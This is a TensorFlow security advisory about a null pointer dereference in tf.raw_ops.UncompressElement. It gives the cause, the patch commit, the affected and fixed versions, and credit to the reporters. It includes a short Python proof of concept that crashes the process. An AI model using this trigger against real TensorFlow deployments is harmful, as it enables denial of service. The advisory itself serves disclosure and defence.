Null pointer dereference in `UncompressElement`

Impact

The code for tf.raw_ops.UncompressElement can be made to trigger a null pointer dereference:

import tensorflow as tf

data = tf.data.Dataset.from_tensors([0.0])
tf.raw_ops.UncompressElement(
  compressed=tf.data.experimental.to_variant(data),
  output_types=[tf.int64],
  output_shapes=[2])

The implementation obtains a pointer to a CompressedElement from a Variant tensor and then proceeds to dereference it for decompressing. There is no check that the Variant tensor contained a CompressedElement, so the pointer is actually nullptr.

Patches

We have patched the issue in GitHub commit 7bdf50bb4f5c54a4997c379092888546c97c3ebd.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by members of the Aivul Team from Qihoo 360.